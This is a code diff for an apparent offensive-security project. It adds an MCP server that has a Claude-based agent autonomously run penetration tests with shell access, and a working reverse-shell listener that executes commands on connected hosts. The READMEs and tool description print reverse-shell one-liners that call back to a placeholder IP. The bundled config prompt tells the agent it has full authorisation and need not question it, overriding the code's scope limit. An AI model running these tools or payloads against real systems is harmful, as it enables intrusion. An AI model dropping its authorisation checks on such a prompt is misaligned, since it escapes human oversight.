- `mcp``claude-agent-sdk``pyyaml`(使用项目 venv 时已包含;单独运行需:`pip install mcp claude-agent-sdk pyyaml`
## 配置
Agent 默认使用本目录下的 `pent_claude_agent_config.yaml`。可通过以下方式覆盖:
- 启动 MCP 时传入 `--config /path/to/config.yaml`
- 环境变量 `PENT_CLAUDE_AGENT_CONFIG`
配置项(参见 `pent_claude_agent_config.yaml`):
- `cwd`: Agent 工作目录
- `allowed_tools`: Agent 可用的工具(Read、Write、Bash、Grep、Glob 等)
- `mcp_servers`: Agent 可挂载的 MCP 服务器(如 reverse_shell
- `env`: 环境变量(API Key 等)
- `system_prompt`: 角色与行为定义
路径占位符:`${PROJECT_ROOT}` = CyberStrikeAI 项目根目录,`${SCRIPT_DIR}` = 本脚本所在目录。
## 在 CyberStrikeAI 中接入
1. **路径**
例如项目根为 `/path/to/CyberStrikeAI-main`,则脚本路径为:
`/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py`
2. **Web 界面****设置****外部 MCP****添加外部 MCP**,填入以下 JSON(将路径替换为你的实际路径):
```json
{
"pent-claude-agent": {
"command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
"args": [
"/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py",
"--config",
"/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/pent_claude_agent_config.yaml"
],
"description": "渗透测试工程师:下发任务后独立执行并返回结果",
"timeout": 300,
"external_mcp_enable": true
}
}
```
- `command`:建议使用项目 **venv** 中的 Python,或系统 `python3`
- `args`**必须使用绝对路径** 指向 `mcp_pent_claude_agent.py`。如需指定配置可追加 `--config` 及配置路径。
- `timeout`:建议 300(渗透测试任务可能较长)。
- 保存后点击该 MCP 的 **启动**,即可在对话中通过 AI 调用上述工具。
3. **使用流程示例**
- CyberStrikeAI 调用 `pent_claude_run_pentest_task("扫描目标 192.168.1.1 的开放端口")`
- pent_claude_agent 内部启动 Claude Agent,可能使用 Bash、nmap 等工具执行。
- 结果返回给 CyberStrikeAI。
## 本地单独运行(可选)
```bash
# 在项目根目录,使用 venv
./venv/bin/python mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py
```
进程通过 stdio 与 MCP 客户端通信;CyberStrikeAI 以 stdio 方式启动该脚本时行为相同。
## 安全提示
- 仅在有授权、隔离的测试环境中使用。
- 配置中的 API Key 需妥善保管;生产环境建议使用环境变量。
@@ -0,0 +1,227 @@
#!/usr/bin/env python3
"""
Pent Claude Agent MCP Server - 渗透测试工程师 MCP 服务
通过 MCP 协议暴露 AI 渗透测试能力CyberStrikeAI 可指挥 pent_claude_agent 执行渗透测试任务
pent_claude_agent 内部使用 Claude Agent SDK可独立配置 MCP工具等作为独立的渗透测试工程师运行
依赖pip install mcp claude-agent-sdk或使用项目 venv
运行python mcp_pent_claude_agent.py [--config /path/to/config.yaml]
"""
from __future__ import annotations
import argparse
import asyncio
import os
from typing import Any
import yaml
from mcp.server.fastmcp import FastMCP
# 延迟导入,避免未安装时影响 MCP 启动
_claude_sdk_available = False
try:
from claude_agent_sdk import ClaudeAgentOptions, query
_claude_sdk_available = True
except ImportError:
pass
# ---------------------------------------------------------------------------
# 路径与配置
# ---------------------------------------------------------------------------
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
PROJECT_ROOT = os.path.dirname(os.path.dirname(SCRIPT_DIR))
_DEFAULT_CONFIG_PATH = os.path.join(SCRIPT_DIR, "pent_claude_agent_config.yaml")
# Agent 运行状态(简单内存状态,用于 status)
_last_task: str | None = None
_last_result: str | None = None
_task_count: int = 0
def _load_config(config_path: str | None) -> dict[str, Any]:
"""加载 YAML 配置,合并默认值与用户配置。"""
defaults: dict[str, Any] = {
"cwd": PROJECT_ROOT,
"allowed_tools": ["Read", "Write", "Bash", "Grep", "Glob"],
"env": {
"CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1",
"DISABLE_TELEMETRY": "1",
"DISABLE_ERROR_REPORTING": "1",
"DISABLE_BUG_COMMAND": "1",
},
"mcp_servers": {},
"system_prompt": (
"你是一名专业的渗透测试工程师。根据用户给出的任务,进行安全测试、漏洞分析、信息收集等。"
"请按步骤执行,输出清晰、可复现的结果。仅在授权范围内进行测试。"
),
}
path = config_path or os.environ.get("PENT_CLAUDE_AGENT_CONFIG", _DEFAULT_CONFIG_PATH)
if not os.path.isfile(path):
return defaults
try:
with open(path, "r", encoding="utf-8") as f:
user = yaml.safe_load(f) or {}
# 深度合并
def merge(base: dict, override: dict) -> dict:
out = dict(base)
for k, v in override.items():
if k in out and isinstance(out[k], dict) and isinstance(v, dict):
out[k] = merge(out[k], v)
else:
out[k] = v
return out
return merge(defaults, user)
except Exception:
return defaults
def _resolve_path(s: str) -> str:
"""解析路径占位符。"""
return s.replace("${PROJECT_ROOT}", PROJECT_ROOT).replace("${SCRIPT_DIR}", SCRIPT_DIR)
def _build_agent_options(config: dict[str, Any], cwd_override: str | None = None) -> ClaudeAgentOptions:
"""从配置构建 ClaudeAgentOptions。"""
raw_cwd = cwd_override or config.get("cwd", PROJECT_ROOT)
cwd = _resolve_path(str(raw_cwd)) if isinstance(raw_cwd, str) else str(raw_cwd)
env = dict(os.environ)
env.update(config.get("env", {}))
mcp_servers = config.get("mcp_servers") or {}
# 解析路径占位符
for name, cfg in list(mcp_servers.items()):
if isinstance(cfg, dict):
args = cfg.get("args") or []
cfg = dict(cfg)
cfg["args"] = [_resolve_path(str(a)) for a in args]
mcp_servers[name] = cfg
return ClaudeAgentOptions(
cwd=cwd,
allowed_tools=config.get("allowed_tools", ["Read", "Write", "Bash", "Grep", "Glob"]),
disallowed_tools=config.get("disallowed_tools", []),
mcp_servers=mcp_servers,
env=env,
system_prompt=config.get("system_prompt"),
setting_sources=config.get("setting_sources", ["user", "project"]),
)
async def _run_claude_agent(prompt: str, config_path: str | None = None, cwd: str | None = None) -> str:
"""内部执行 Claude Agent,返回最后一轮文本结果。"""
global _last_task, _last_result, _task_count
_last_task = prompt
_task_count += 1
if not _claude_sdk_available:
_last_result = "错误:未安装 claude-agent-sdk,请执行 pip install claude-agent-sdk"
return _last_result
config = _load_config(config_path)
options = _build_agent_options(config, cwd_override=cwd)
messages: list[Any] = []
try:
async for message in query(prompt=prompt, options=options):
messages.append(message)
except Exception as e:
_last_result = f"Agent 执行异常: {e}"
return _last_result
if not messages:
_last_result = "(无输出)"
return _last_result
# 多轮迭代时,取最后一个 ResultMessage(最后一波结果)
result_msgs = [m for m in messages if hasattr(m, "result") and getattr(m, "result", None) is not None]
last = result_msgs[-1] if result_msgs else messages[-1]
# 提取文本内容,优先 ResultMessage.result,避免输出 metadata
if hasattr(last, "result") and last.result is not None:
text = last.result
elif hasattr(last, "content") and last.content:
parts = []
for block in last.content:
if hasattr(block, "text") and block.text:
parts.append(block.text)
text = "\n".join(parts) if parts else "(无输出)"
else:
text = "(无输出)"
_last_result = text
return _last_result
# ---------------------------------------------------------------------------
# MCP 服务与工具
# ---------------------------------------------------------------------------
app = FastMCP(
name="pent-claude-agent",
instructions="渗透测试工程师 MCP:接收任务后,内部启动 Claude Agent 独立执行渗透测试、漏洞分析等,并返回结果。",
)
@app.tool(
description="执行渗透测试任务。下发任务描述后,pent_claude_agent 会作为独立的渗透测试工程师,使用 Claude Agent 执行任务并返回结果。支持:端口扫描、漏洞探测、Web 安全测试、信息收集等。",
)
async def pent_claude_run_pentest_task(task: str) -> str:
"""Run a penetration testing task. The agent executes independently and returns results."""
return await _run_claude_agent(task)
@app.tool(
description="分析漏洞信息。传入漏洞描述、PoC、影响范围等,由 Agent 进行专业分析并给出修复建议。",
)
async def pent_claude_analyze_vulnerability(vuln_info: str) -> str:
"""Analyze vulnerability information and provide remediation suggestions."""
prompt = f"请对以下漏洞信息进行专业分析,包括:风险等级、影响范围、利用方式、修复建议。\n\n{vuln_info}"
return await _run_claude_agent(prompt)
@app.tool(
description="执行指定任务。通用任务执行入口,Agent 会根据任务内容自动选择合适的工具和方法。",
)
async def pent_agent_execute(task: str) -> str:
"""Execute a task. The agent chooses appropriate tools and methods."""
return await _run_claude_agent(task)
@app.tool(
description="对目标进行安全诊断。可传入 URL、IP、域名等,Agent 会进行初步的安全评估和诊断。",
)
async def pent_agent_diagnose(target: str) -> str:
"""Diagnose a target (URL, IP, domain) for security assessment."""
prompt = f"请对以下目标进行安全诊断和初步评估:{target}\n\n包括:可达性、开放服务、常见漏洞面等。"
return await _run_claude_agent(prompt)
@app.tool(
description="获取 pent_claude_agent 的当前状态:最近任务、结果摘要、执行次数等。",
)
def pent_claude_status() -> str:
"""Get the current status of pent_claude_agent."""
global _last_task, _last_result, _task_count
lines = [
f"任务执行次数: {_task_count}",
f"最近任务: {_last_task or '-'}",
f"最近结果摘要: {(str(_last_result or '-')[:200] + '...') if _last_result and len(str(_last_result)) > 200 else (_last_result or '-')}",
f"Claude SDK 可用: {_claude_sdk_available}",
]
return "\n".join(lines)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Pent Claude Agent MCP Server")
parser.add_argument(
"--config",
default=None,
help="Path to pent_claude_agent config YAML (env: PENT_CLAUDE_AGENT_CONFIG)",
)
args, _ = parser.parse_known_args()
# 将 config 路径存入环境,供工具调用时使用
if args.config:
os.environ["PENT_CLAUDE_AGENT_CONFIG"] = args.config
app.run(transport="stdio")
@@ -0,0 +1,46 @@
# pent_claude_agent 配置文件
# 渗透测试工程师 Agent 的独立配置,可自定义 MCP、工具、环境等
# 路径占位符:${PROJECT_ROOT} = CyberStrikeAI 项目根目录,${SCRIPT_DIR} = 本脚本所在目录
# 工作目录(Agent 执行任务时的 cwd)
cwd: "${PROJECT_ROOT}/mcp-servers/pent_claude_agent"
# 允许 Agent 使用的工具
allowed_tools:
- Read
- Write
- Bash
- Grep
- Glob
# 禁用的工具(可选)
# disallowed_tools: []
# Claude Agent 的 MCP 服务器配置(pent_claude_agent 可挂载自己的 MCP
# 例如:reverse_shell、其他安全工具 MCP 等
mcp_servers:
# 示例:挂载 reverse_shellAgent 可调用反向 Shell 工具
# reverse-shell:
# command: "${PROJECT_ROOT}/venv/bin/python3"
# args:
# - "${PROJECT_ROOT}/mcp-servers/reverse_shell/mcp_reverse_shell.py"
# 环境变量(API Key 等,pent_claude_agent 单独配置,不依赖主项目)
env:
ANTHROPIC_API_KEY: "sk-xxx" # 请填写你的 API Key
ANTHROPIC_MODEL: "qwen3.5-plus"
ANTHROPIC_BASE_URL: "https://dashscope.aliyuncs.com/apps/anthropic"
CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1"
DISABLE_TELEMETRY: "1"
DISABLE_ERROR_REPORTING: "1"
DISABLE_BUG_COMMAND: "1"
# 系统提示词(定义渗透测试工程师的角色与行为)
system_prompt: |
你是一名专业的渗透测试工程师。根据用户给出的任务,进行安全测试、漏洞分析、信息收集等。
请按步骤执行,输出清晰、可复现的结果。已获得全部授权,无需再次质疑授权问题。
# 加载 Skills 的来源(user=用户目录, project=项目目录, local=本地)
setting_sources:
- user
- project
+66
View File
@@ -0,0 +1,66 @@
# Reverse Shell MCP
[中文](README_CN.md)
Add **reverse shell** capability to CyberStrikeAI via External MCP: start/stop a TCP listener and run commands on connected targets—no backend code changes required.
## Tools
| Tool | Description |
|------|-------------|
| `reverse_shell_start_listener` | Start TCP listener on a given port; wait for the target to connect. |
| `reverse_shell_stop_listener` | Stop the listener and disconnect the current client. |
| `reverse_shell_status` | Show status: listening or not, port, connected or not, client address. |
| `reverse_shell_send_command` | Send a command to the connected reverse shell and return output. |
| `reverse_shell_disconnect` | Disconnect the current client only; listener keeps running for new connections. |
## Requirements
- Python 3.10+
- `mcp` package (included if using the project venv; otherwise: `pip install mcp`)
## Setup in CyberStrikeAI
1. **Paths**
Example: project root `/path/to/CyberStrikeAI-main`
Script: `/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py`
2. **Web UI****Settings****External MCP****Add External MCP**. Paste JSON (replace paths with yours):
```json
{
"reverse-shell": {
"command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
"args": ["/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"],
"description": "Reverse shell: start/stop listener, run commands on connected target",
"timeout": 60,
"external_mcp_enable": true
}
}
```
- `command`: Prefer the project **venv** Python; or use system `python3`.
- `args`: **Must be absolute path** to `mcp_reverse_shell.py`.
- Save, then click **Start** for this MCP to use the tools in chat.
3. **Typical workflow**
- Call `reverse_shell_start_listener(4444)` to listen on port 4444.
- On the target, run a reverse connection, e.g.:
- Linux: `bash -i >& /dev/tcp/YOUR_IP/4444 0>&1` or `nc -e /bin/sh YOUR_IP 4444`
- Or use msfvenom-generated payloads, etc.
- After connection, use `reverse_shell_send_command("id")`, `reverse_shell_send_command("whoami")`, etc.
- Use `reverse_shell_status` to check state, `reverse_shell_disconnect` to drop the client only, `reverse_shell_stop_listener` to stop listening.
## Run locally (optional)
```bash
# From project root, with venv
./venv/bin/python mcp-servers/reverse_shell/mcp_reverse_shell.py
```
The process talks MCP over stdio; CyberStrikeAI starts it the same way when using External MCP.
## Security
- Use only in authorized, isolated test environments.
- Listener binds to `0.0.0.0`; restrict access with firewall or network policy if the port is exposed.
+66
View File
@@ -0,0 +1,66 @@
# 反向 Shell MCP
[English](README.md)
通过**外部 MCP** 为 CyberStrikeAI 增加**反向 Shell** 能力:开启/停止 TCP 监听、与已连接目标交互执行命令,**无需修改后端代码**。
## 工具说明
| 工具 | 说明 |
|------|------|
| `reverse_shell_start_listener` | 在指定端口启动 TCP 监听,等待目标机反向连接。 |
| `reverse_shell_stop_listener` | 停止监听并断开当前客户端。 |
| `reverse_shell_status` | 查看状态:是否监听、端口、是否已连接及客户端地址。 |
| `reverse_shell_send_command` | 向已连接的反向 Shell 发送命令并返回输出。 |
| `reverse_shell_disconnect` | 仅断开当前客户端,不停止监听(可继续等待新连接)。 |
## 依赖
- Python 3.10+
- 使用项目自带 venv 时已包含 `mcp`;单独运行需:`pip install mcp`
## 在 CyberStrikeAI 中接入
1. **路径**
例如项目根为 `/path/to/CyberStrikeAI-main`,则脚本路径为:
`/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py`
2. **Web 界面****设置****外部 MCP****添加外部 MCP**,填入以下 JSON(将路径替换为你的实际路径):
```json
{
"reverse-shell": {
"command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
"args": ["/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"],
"description": "反向 Shell:开启/停止监听、与目标交互执行命令",
"timeout": 60,
"external_mcp_enable": true
}
}
```
- `command`:建议使用项目 **venv** 中的 Python,或系统 `python3`
- `args`**必须使用绝对路径** 指向 `mcp_reverse_shell.py`
- 保存后点击该 MCP 的 **启动**,即可在对话中通过 AI 调用上述工具。
3. **使用流程示例**
- 调用 `reverse_shell_start_listener(4444)` 在 4444 端口开始监听。
- 在目标机上执行反向连接,例如:
- Linux: `bash -i >& /dev/tcp/YOUR_IP/4444 0>&1``nc -e /bin/sh YOUR_IP 4444`
- 或使用 msfvenom 生成 payload 等。
- 连接成功后,用 `reverse_shell_send_command("id")``reverse_shell_send_command("whoami")` 等与目标交互。
- 需要时用 `reverse_shell_status` 查看状态,用 `reverse_shell_disconnect` 仅断开客户端,用 `reverse_shell_stop_listener` 完全停止监听。
## 本地单独运行(可选)
```bash
# 在项目根目录,使用 venv
./venv/bin/python mcp-servers/reverse_shell/mcp_reverse_shell.py
```
进程通过 stdio 与 MCP 客户端通信;CyberStrikeAI 以 stdio 方式启动该脚本时行为相同。
## 安全提示
- 仅在有授权、隔离的测试环境中使用。
- 监听在 `0.0.0.0`,若端口对外暴露存在风险,请通过防火墙或网络策略限制访问。
@@ -0,0 +1,272 @@
#!/usr/bin/env python3
"""
Reverse Shell MCP Server - 反向 Shell MCP 服务
通过 MCP 协议暴露反向 Shell 能力开启/停止监听与已连接客户端交互执行命令
无需修改 CyberStrikeAI 后端设置 外部 MCP中以 stdio 方式添加即可
依赖pip install mcp或使用项目 venv
运行python mcp_reverse_shell.py python3 mcp_reverse_shell.py
"""
from __future__ import annotations
import asyncio
import socket
import threading
import time
from typing import Any
from mcp.server.fastmcp import FastMCP
# ---------------------------------------------------------------------------
# 反向 Shell 状态(单例:一个监听器、一个已连接客户端)
# ---------------------------------------------------------------------------
_LISTENER: socket.socket | None = None
_LISTENER_THREAD: threading.Thread | None = None
_LISTENER_PORT: int | None = None
_CLIENT_SOCK: socket.socket | None = None
_CLIENT_ADDR: tuple[str, int] | None = None
_LOCK = threading.Lock()
# 用于 send_command 的输出结束标记(避免无限等待)
_END_MARKER = "__RS_DONE__"
_RECV_TIMEOUT = 30.0
_RECV_CHUNK = 4096
def _get_local_ips() -> list[str]:
"""获取本机 IP 列表(供目标机反弹连接用),优先非 127 地址。"""
ips: list[str] = []
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
if ip and ip != "127.0.0.1":
ips.append(ip)
except OSError:
pass
if not ips:
try:
ip = socket.gethostbyname(socket.gethostname())
if ip:
ips.append(ip)
except OSError:
pass
if not ips:
ips.append("127.0.0.1")
return ips
def _accept_loop(port: int) -> None:
"""在后台线程中:bind、listen、accept,只接受一个客户端。"""
global _LISTENER, _CLIENT_SOCK, _CLIENT_ADDR, _LISTENER_PORT
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("0.0.0.0", port))
sock.listen(1)
with _LOCK:
_LISTENER = sock
# 阻塞 accept,只接受一个连接
client, addr = sock.accept()
with _LOCK:
_CLIENT_SOCK = client
_CLIENT_ADDR = (addr[0], addr[1])
except OSError:
pass
finally:
with _LOCK:
if _LISTENER:
try:
_LISTENER.close()
except OSError:
pass
_LISTENER = None
_LISTENER_PORT = None
def _start_listener(port: int) -> str:
global _LISTENER_THREAD, _LISTENER_PORT, _CLIENT_SOCK, _CLIENT_ADDR
with _LOCK:
if _LISTENER is not None or (_LISTENER_THREAD is not None and _LISTENER_THREAD.is_alive()):
return f"已在监听中(端口: {_LISTENER_PORT}),请先 stop_listener 再重新 start。"
if _CLIENT_SOCK is not None:
try:
_CLIENT_SOCK.close()
except OSError:
pass
_CLIENT_SOCK = None
_CLIENT_ADDR = None
th = threading.Thread(target=_accept_loop, args=(port,), daemon=True)
th.start()
_LISTENER_THREAD = th
time.sleep(0.2)
with _LOCK:
if _LISTENER is not None:
_LISTENER_PORT = port
ips = _get_local_ips()
addrs = ", ".join(f"{ip}:{port}" for ip in ips)
return (
f"已在 0.0.0.0:{port} 开始监听。"
f"目标机请反弹到: {addrs}(任选其一)。连接后使用 reverse_shell_send_command 执行命令。"
)
return f"监听 0.0.0.0:{port} 已启动(若端口被占用会失败,请检查)。"
def _stop_listener() -> str:
global _LISTENER, _LISTENER_THREAD, _CLIENT_SOCK, _CLIENT_ADDR, _LISTENER_PORT
with _LOCK:
if _LISTENER is not None:
try:
_LISTENER.close()
except OSError:
pass
_LISTENER = None
_LISTENER_PORT = None
if _CLIENT_SOCK is not None:
try:
_CLIENT_SOCK.close()
except OSError:
pass
_CLIENT_SOCK = None
_CLIENT_ADDR = None
return "监听已停止,已断开当前客户端(如有)。"
def _disconnect_client() -> str:
global _CLIENT_SOCK, _CLIENT_ADDR
with _LOCK:
if _CLIENT_SOCK is None:
return "当前无已连接客户端。"
try:
_CLIENT_SOCK.close()
except OSError:
pass
addr = _CLIENT_ADDR
_CLIENT_SOCK = None
_CLIENT_ADDR = None
return f"已断开客户端 {addr}"
def _status() -> dict[str, Any]:
with _LOCK:
listening = _LISTENER is not None
port = _LISTENER_PORT
connected = _CLIENT_SOCK is not None
addr = _CLIENT_ADDR
connect_back = None
if listening and port is not None:
ips = _get_local_ips()
connect_back = [f"{ip}:{port}" for ip in ips]
return {
"listening": listening,
"port": port,
"connect_back": connect_back,
"connected": connected,
"client_address": f"{addr[0]}:{addr[1]}" if addr else None,
}
def _send_command_blocking(command: str, timeout: float = _RECV_TIMEOUT) -> str:
"""在同步上下文中向已连接客户端发送命令并读取输出(带结束标记)。"""
global _CLIENT_SOCK, _CLIENT_ADDR
with _LOCK:
client = _CLIENT_SOCK
if client is None:
return "错误:当前无已连接客户端。请先 start_listener,等待目标连接后再 send_command。"
# 使用结束标记以便可靠地截断输出
wrapped = f"{command.strip()}\necho {_END_MARKER}\n"
try:
client.settimeout(timeout)
client.sendall(wrapped.encode("utf-8", errors="replace"))
data = b""
while True:
try:
chunk = client.recv(_RECV_CHUNK)
if not chunk:
break
data += chunk
if _END_MARKER.encode() in data:
break
except socket.timeout:
break
text = data.decode("utf-8", errors="replace")
if _END_MARKER in text:
text = text.split(_END_MARKER)[0].strip()
return text or "(无输出)"
except (ConnectionResetError, BrokenPipeError, OSError) as e:
with _LOCK:
if _CLIENT_SOCK is client:
_CLIENT_SOCK = None
_CLIENT_ADDR = None
return f"连接已断开: {e}"
except Exception as e:
return f"执行异常: {e}"
# ---------------------------------------------------------------------------
# MCP 服务与工具
# ---------------------------------------------------------------------------
app = FastMCP(
name="reverse-shell",
instructions="反向 Shell MCP:在本地开启 TCP 监听,等待目标机连接后通过工具执行命令。",
)
@app.tool(
description="在指定端口启动反向 Shell 监听。目标机需执行反向连接(如 nc -e /bin/sh YOUR_IP PORT 或 bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1)。仅支持一个监听器与一个客户端。",
)
def reverse_shell_start_listener(port: int) -> str:
"""Start reverse shell listener on the given port (e.g. 4444)."""
if port < 1 or port > 65535:
return "端口需在 165535 之间。"
return _start_listener(port)
@app.tool(
description="停止反向 Shell 监听并断开当前客户端。",
)
def reverse_shell_stop_listener() -> str:
"""Stop the listener and disconnect the current client."""
return _stop_listener()
@app.tool(
description="查看当前状态:是否在监听、端口、是否有客户端连接及客户端地址。",
)
def reverse_shell_status() -> str:
"""Get listener and client connection status."""
s = _status()
lines = [
f"监听中: {s['listening']}",
f"端口: {s['port']}",
f"反弹地址(目标机连接): {', '.join(s['connect_back']) if s.get('connect_back') else '-'}",
f"已连接: {s['connected']}",
f"客户端: {s['client_address'] or '-'}",
]
return "\n".join(lines)
@app.tool(
description="向已连接的反向 Shell 客户端发送一条命令并返回输出。若无连接请先 start_listener 并等待目标连接。",
)
async def reverse_shell_send_command(command: str) -> str:
"""Send a command to the connected reverse shell client and return output."""
# 在线程池中执行阻塞的 socket I/O,避免长时间占用 MCP 主线程,使 status/stop_listener 等仍可响应
return await asyncio.to_thread(_send_command_blocking, command)
@app.tool(
description="仅断开当前客户端连接,不停止监听(可继续等待新连接)。",
)
def reverse_shell_disconnect() -> str:
"""Disconnect the current client without stopping the listener."""
return _disconnect_client()
if __name__ == "__main__":
app.run(transport="stdio")
+15
View File
@@ -202,6 +202,7 @@ description: |
```yaml
- name: "ports"
type: "array"
item_type: "number"
description: "端口列表"
required: false
# 输入: [80, 443, 8080]
@@ -364,6 +365,13 @@ parameters:
- 说明权限要求
- 提醒仅在授权环境中使用
6. **单次执行时长与超时(最佳实践)**
- 若某工具经常执行很久(如超过 10~30 分钟仍显示「执行中」),属于异常长时间挂起,建议:
- 在 **config.yaml**`agent.tool_timeout_minutes` 中设置单次工具最大执行时长(默认 10 分钟),超时后会自动终止并释放资源;
- 需要更长扫描时再适当调大该值(如 20、30),不建议设为 0(不限制);
- 在任务监控页可对整条任务使用「停止任务」中断当前对话与后续工具调用;
- 工具实现上尽量支持「可中断」或内置超时(如脚本内设 timeout),以便与系统超时协同。
## 禁用工具
要禁用某个工具,只需将配置文件中的 `enabled` 字段设置为 `false`,或者直接删除/重命名配置文件。
@@ -390,6 +398,13 @@ A: 对于数组类型参数,系统会自动转换为逗号分隔的字符串
A: 某些工具(如 `nmap`)支持 `scan_type` 参数来覆盖默认的扫描类型。对于其他情况,可以使用 `additional_args` 参数。
### Q: 工具执行超过 30 分钟一直显示「执行中」怎么办?
A: 属于异常长时间挂起,建议:
1. 在 **config.yaml** 中配置 `agent.tool_timeout_minutes`(默认 10),单次工具超过该分钟数会自动终止;
2. 在监控页对该任务使用「停止任务」立即中断;
3. 若该工具确实需要更长时间,可适当增大 `tool_timeout_minutes`,但不建议设为 0。
### Q: 工具执行失败怎么办?
A: 检查以下几点:
+330 -151
View File
@@ -2,121 +2,168 @@
## Overview
Each tool ships with its own YAML configuration placed in the `tools/` directory. This keeps definitions modular, easier to review, and simple to extend. The runtime automatically loads every `.yaml` / `.yml` file in that directory.
Each tool has its own configuration file under the `tools/` directory. This keeps tool definitions clear, easy to maintain, and manageable. The system automatically loads all `.yaml` and `.yml` files in `tools/`.
## File Structure
## Configuration File Format
The table below enumerates every supported top-level field. Double-check each entry before adding a new tool:
Each tool configuration file is a YAML file. The table below lists supported top-level fields and whether they are required. Check each item before submitting:
| Field | Required | Type | Description |
|-------|----------|------|-------------|
| `name` | ✅ | string | Unique identifier. Prefer lowercase letters, digits, and hyphens. |
| `command` | ✅ | string | Executable or script name. Must exist in `$PATH` or be an absolute path. |
| `enabled` | ✅ | bool | Controls MCP registration. Disabled tools are ignored by the loader. |
| `description` | ✅ | string | Full Markdown description for MCP `resources/read` and AI comprehension. |
| `short_description` | Optional | string | 2050 character summary shown in tool lists. When omitted, the loader extracts the start of `description`. |
| `args` | Optional | string[] | Static arguments prepended to every invocation—useful for default scan profiles. |
| `parameters` | Optional | array | Runtime parameter definitions. See **Parameter Definition** for details. |
| `arg_mapping` | Optional | string | Mapping strategy (`auto`/`manual`/`template`). Defaults to `auto`; override only for legacy tooling. |
| `name` | ✅ | string | Unique tool identifier; use lowercase letters, digits, and hyphens. |
| `command` | ✅ | string | Command or script to run; must be on system PATH or an absolute path. |
| `enabled` | ✅ | bool | Whether to register with MCP; set to `false` to skip the tool. |
| `description` | ✅ | string | Full description, multi-line Markdown, for AI and `resources/read` queries. |
| `short_description` | Optional | string | 2050 character summary for tool lists and lower token usage; defaults to start of `description` if omitted. |
| `args` | Optional | string[] | Fixed arguments prepended to the command line; often used for default scan modes. |
| `parameters` | Optional | array | Runtime parameter list; see **Parameter Definition** below. |
| `arg_mapping` | Optional | string | Parameter mapping mode (`auto`/`manual`/`template`); default `auto`; only set if needed. |
> If a required field is missing or malformed, the loader skips that tool and logs a warning without blocking the service.
> If a field is wrong or a required field is missing, the loader skips that tool and logs a warning; other tools are unaffected.
## Tool Descriptions
### Short Description (`short_description`)
- **Purpose**: compact summary for tool listings and to minimise language model context usage.
- **Guideline**: one concise sentence (2050 Chinese characters or English equivalents).
- **Purpose**: Used in tool lists to reduce tokens sent to the model.
- **Guideline**: One sentence (2050 characters) describing the tools main use.
- **Example**: `"Network scanner for discovering hosts, open ports, and services"`
### Detailed Description (`description`)
Supports multi-line Markdown. Recommended contents:
Use multi-line text and include:
1. **Capabilities** what the tool does.
2. **Usage scenarios** when to prefer this tool.
3. **Warnings** permissions, runtime risks, side-effects.
4. **Examples** optional walkthroughs or sample commands.
1. **Capabilities**: What the tool does.
2. **Usage scenarios**: When to use it.
3. **Warnings**: Caveats and safety notes.
4. **Examples**: Optional usage examples.
**Important**:
- Tool menus and MCP summaries use `short_description` when available.
- Without `short_description`, the loader trims the first line or first 100 characters of `description`.
- Full descriptions are accessible through the MCP `resources/read` endpoint (`tool://<tool_name>`).
**Notes**:
- Tool lists use `short_description` when present.
- If `short_description` is missing, the system uses the first line or first 100 characters of `description`.
- Full descriptions are available via MCP `resources/read` (URI: `tool://tool_name`).
This reduces token usage, especially with many tools (e.g. 100+).
## Parameter Definition
Each parameter object accepts the fields below:
Each parameter can include:
- `name` *(required)* parameter key used in CLI construction and MCP schema.
- `type` *(required)* `string`, `int`/`integer`, `bool`/`boolean`, `array`, etc.
- `description` *(required)* Markdown-friendly explanation including purpose, format rules, example values, and safety notes.
- `required` boolean; when `true`, missing values cause the executor to return an error.
- `default` fallback value applied if the caller omits the argument.
- `flag` CLI switch such as `-u` or `--url`.
- `position` zero-based index for positional arguments.
- `format` rendering strategy:
- `flag` *(default)*`--flag value` / `-f value`
- `combined``--flag=value`
- `positional` → appended according to `position`
- `template` → uses the `template` string
- `template` placeholder string (supports `{flag}`, `{value}`, `{name}`) when `format: "template"`.
- `options` array of allowed values; surfaced as `enum` entries in the MCP schema.
- `name`: Parameter name.
- `type`: One of string, int, bool, array.
- `description`: Full description (multi-line supported).
- `required`: Whether it is required (true/false).
- `default`: Default value.
- `flag`: CLI flag (e.g. `-u`, `--url`, `-p`).
- `position`: Zero-based index for positional arguments.
- `format`: One of `"flag"`, `"positional"`, `"combined"`, `"template"`.
- `template`: Template string when `format` is `"template"`.
- `options`: Allowed values for enums.
### Format Reference
### Parameter Formats
- **`flag`**: pass the flag and the value separately.
Example: `flag: "-u"``-u https://example.com`
- **`flag`**: Flag plus value, e.g. `--flag value` or `-f value`
- Example: `flag: "-u"``-u http://example.com`
- **`positional`**: insert according to `position`.
Example: `position: 0` becomes the first positional argument.
- **`positional`**: Added in order by position.
- Example: `position: 0` → first positional argument.
- **`combined`**: join flag and value in one token.
Example: `flag: "--level"`, `format: "combined"``--level=3`
- **`combined`**: Single token `--flag=value`.
- Example: `flag: "--level"`, `format: "combined"``--level=3`
- **`template`**: custom rendering.
Example: `template: "{flag} {value}"`fully manual control.
- **`template`**: Custom template.
- Example: `template: "{flag} {value}"`custom format.
### Reserved Parameters
### Special Parameters
- `additional_args` allows users to append arbitrary CLI fragments. The executor tokenises the string (preserving quoted groups) and appends the resulting list to the command.
- `scan_type` for scanners like `nmap`, replacing default scan switches (e.g., `-sV -sC`).
